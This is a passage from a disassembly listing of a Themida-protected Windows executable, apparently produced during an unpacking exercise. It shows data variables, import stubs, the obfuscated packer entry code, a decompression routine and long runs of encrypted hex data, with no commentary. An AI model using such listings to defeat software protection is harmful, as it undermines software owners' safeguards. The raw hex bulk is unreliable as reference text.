XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437830o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E1000 ( 921600.) ; Section size in file : 000E1000 ( 921600.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 46D29C07h, 4074Fh, 54092h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053E281 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005415EA SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00541860 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A34o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53E281 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53E281 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1563364h, 2E36F2BEh, 30F0AF10h, 31702D34h, 21E47D85h dd 0E4FF235Ch, 0DD215C98h, 655203DEh, 72617473h, 0C5704199h dd 0F378E92Eh, 38BB7E84h, 0B8FA4301h, 0EB1BE101h, 0E11E33E2h dd 35BCAB0Ah, 0BC7B848Bh, 1FE18E22h, 989FD3h, 6D656854h dd 0A5616469h, 249BD5D0h, 0F23B8403h, 0F6489501h, 5CF7018Dh dd 0D7850170h, 7071115Fh, 0C643F78Dh, 0FE2E8403h, 42B81188h dd 848B92BCh, 8BBCAF2Eh, 0D41CC572h, 22E860h, 73ED815Dh dd 8905E733h, 3F19518h, 4445B50Dh, 65208522h, 0BD83082Ch dd 7381B39h, 0E88B0C74h, 0D6B8E222h, 0F1C29EB9h, 0C7244470h dd 2113E10h, 0E8456A06h, 680729A3h, 783749Ah, 0A01DFA5h dd 0A894B25h, 0E910D5E9h, 0ECA50214h db 7Dh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h lodsb out dx, al add al, 5Ah sub edx, 8B003461h fcmovb st, st(7) loc_4E0354: ; CODE XREF: Themida_:004E0371j inc ebp fcom dword ptr [ecx+400EB108h] mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 repne or ebx, 49h adc bh, bh xchg dl, [edx] inc ebx jmp short loc_4E0354 ; --------------------------------------------------------------------------- db 36h dword_4E0374 dd 2661DC37h, 4C2C941h, 0C4814640h, 2FF687Ch, 40AAE449h dd 8B80458Dh, 0C708145Dh, 50441985h, 0D10AA08Dh, 18880AC3h dd 8A0B8941h, 2006BD81h, 0E375295Dh, 0BA8D4227h, 75C0648Eh dd 0BB0E8A80h, 5BF449h, 5437ABB8h, 0FCD0D378h, 4B08C30Fh dd 0AFB0F775h, 465247C3h, 2A46464Ah, 0D12B42F9h, 0D0A08A61h dd 8AFDF075h, 4DFC45EEh, 0AD04EB0Ah, 80468C3Ch, 53F7403Eh dd 346E84BAh, 0EB0C7D61h, 0F83E907Fh, 0F0126DCCh, 0F40ECA84h dd 0C14A8110h, 4004F065h, 0E0D1F8D6h, 60C20339h, 8ADB3328h dd 80301C1Ch, 0A72CCFBh, 773D390Ah, 0F2EB3E05h, 61142267h dd 7F0A0DF6h, 1E086F66h, 0AC34E5Fh, 411A10ACh, 0A0B7230h dd 0DE067746h, 118A224h, 0F4ECF05Dh, 1B7D7383h, 0CB07202h dd 0A576C037h, 4126AA66h, 8D07CEF8h, 3B00A86Ah, 820FFC55h dd 0B0BDA978h, 38BEAAC1h, 0E008BA50h, 0A870E0B9h, 40F0BDFCh dd 0F01FE35h, 0FA754947h, 6AC522B9h, 0E301BBDCh, 6F82F1F4h dd 831D0CEBh, 37E8868Eh, 65510690h, 1DDF36E0h, 268A94FBh dd 5E92807h, 0BC6B593Fh, 1304B058h, 0E4C46021h, 257D068Ah dd 8458205h, 48211660h, 0C5AC458h, 88E1044h, 0BC3D5117h dd 27CE8024h, 0EAF4815Ch, 369E682h, 2C2B6F4Ah, 8230FAC3h dd 0BC67E4F1h, 8C2E0C6Ah, 821034CBh, 5B4E3900h, 0B8100F76h dd 43D1F51h, 983B1DD1h, 9756646h, 11602E75h, 65E4EC8Bh dd 68065090h, 5C50584h, 48FB968Eh, 4F05385h, 8C29A8C2h dd 0E7F2CD71h, 30A8BB0Eh, 77812BFFh, 1D22C004h, 0F984C134h dd 20753319h, 77073FBCh, 30EF660Ah, 41380273h, 7F8C99ECh dd 40F9FFCCh, 0E9FE450Ch, 620060A5h, 4D8C52C4h, 82110825h dd 0AB4CB1AAh, 1384D05Ah, 60EB568Ah, 6EE825Eh, 42813851h dd 8A27C40Ch, 1310B9D5h, 43972923h, 56110D4Ah, 22C45E87h dd 11C6D8Ah, 0F1C45646h, 4010E995h, 0A0518D26h, 0E44BF800h dd 98564DCDh, 79E33928h, 2714EA1Ah, 3F40B960h, 0FE3A1800h dd 620E6324h, 8120001Bh, 809E947Bh, 10285C37h, 67762D8Dh dd 42EADA24h, 172CDD40h, 34FA006Ch, 5E28161h, 0D688C10h dd 58811521h, 728B5D76h, 0D0BFBD4h, 458610CAh, 54F8911Fh dd 22C45C87h, 1D315D8Ah, 0C4544410h, 3E8DBC01h, 864C6F2Eh dd 0E8C8B4CCh, 0BC0850F2h, 102DC302h, 0D050387h, 17EA0FB4h dd 918A0D0Fh, 0DFC02976h, 240D2120h, 269B3E7Fh, 0AE231A0Dh dd 55A1252h, 224D8AD0h, 42201B57h, 4EC452h, 48AC3E2Bh dd 0EEBCCB8Bh, 43887418h, 822EC65Ah, 0E233E318h, 2AD5A400h dd 0F309A687h, 4DBE69Eh, 0E9763837h, 8D7C400Fh, 72B477Eh dd 4F024DF9h, 0E37FF12Ch, 0BAB86Ah, 0C98C5B5Fh, 0EFA6C382h dd 0DF0136BBh, 37C216C6h, 6C548FBCh, 0ECEC6E12h, 1EB20C20h dd 80038CFAh, 0AEDD07C1h, 0EA305365h, 2B4D7911h, 9BD00A7h dd 5B205564h, 57030285h, 80279ED9h, 923A0E60h, 614EEB1Bh dd 0D28C6722h, 6278FBC0h, 7F6DC007h, 8263552Eh, 0C7A588E9h dd 38A0C1Ah, 8B6715EAh, 980095EEh, 4BC2374Dh, 1F2C3A0Eh dd 191D489Eh, 0D477A0DAh, 529EB84h, 0DB009FEAh, 6DB5FE51h dd 883A0032h, 0AA2A0282h, 906A9A93h, 86620FE8h, 4083CA89h dd 33BCF82h, 529B36ACh, 8003998h, 0A5EE66AFh, 7B53AA5Eh dd 185061F7h, 9FA2BABEh, 0D64E2F20h, 0A71898B0h, 0B2E830h dd 682CB4B8h, 0B3903596h, 18190F28h, 0D3C42909h, 684903E1h dd 2B690F30h, 5783A627h, 287C5B84h, 2D880800h, 67EDF868h dd 38EE0612h, 587760B5h, 0BCD2AA19h, 0F79879h, 0D7926F49h dd 0D168BDC1h, 0D0EE953Bh, 0B544DB54h, 90C41BB8h, 669B4884h dd 577F711Fh, 149D2940h, 0BA38C2h, 3EFDC050h, 5BB913C1h dd 0BB35B700h, 0BF542355h, 33C78DBh, 95B539CAh, 61D63B48h dd 41B04A12h, 0C033750Fh, 540B0976h, 0FEDCF1AEh, 53F31555h dd 241094BFh, 0F261F72h, 5782574Eh, 1A21640h, 61FC90h dd 232695E0h, 6583880Ah, 3196B1C7h, 6AAA98F0h, 0BD051FDAh dd 1A6B80CCh, 0ABA23F11h, 0F1894000h, 24910AADh, 18D31556h dd 863A88A6h, 0B671F9h, 4A94F560h, 3CE4D94Eh, 929187F7h dd 58263F27h, 44DB0C71h, 32F0C665h, 0D776DF00h, 0BB3F50B8h dd 4EA10016h, 0B2B3703Bh, 0C8A84297h, 5D00C5BAh, 268C77A7h dd 554827h, 0AECC0324h, 71A34FDBh, 0A99ED300h, 8DEE6809h dd 2507159Ch, 31068438h, 60D60B58h, 0BBBE920Ch, 0CFBC1A5h dd 1B3F10B2h, 0B3489B11h, 8A981010h, 0B8AA9701h, 815F54E4h dd 9027C2D1h, 7AD4381Ch, 98D018ACh, 0BB97A93Bh, 41682800h dd 75117D13h, 10FE91h, 0AB6E61B3h, 0D3C69F25h, 7B905302h dd 80A6AD34h, 0C758BC84h, 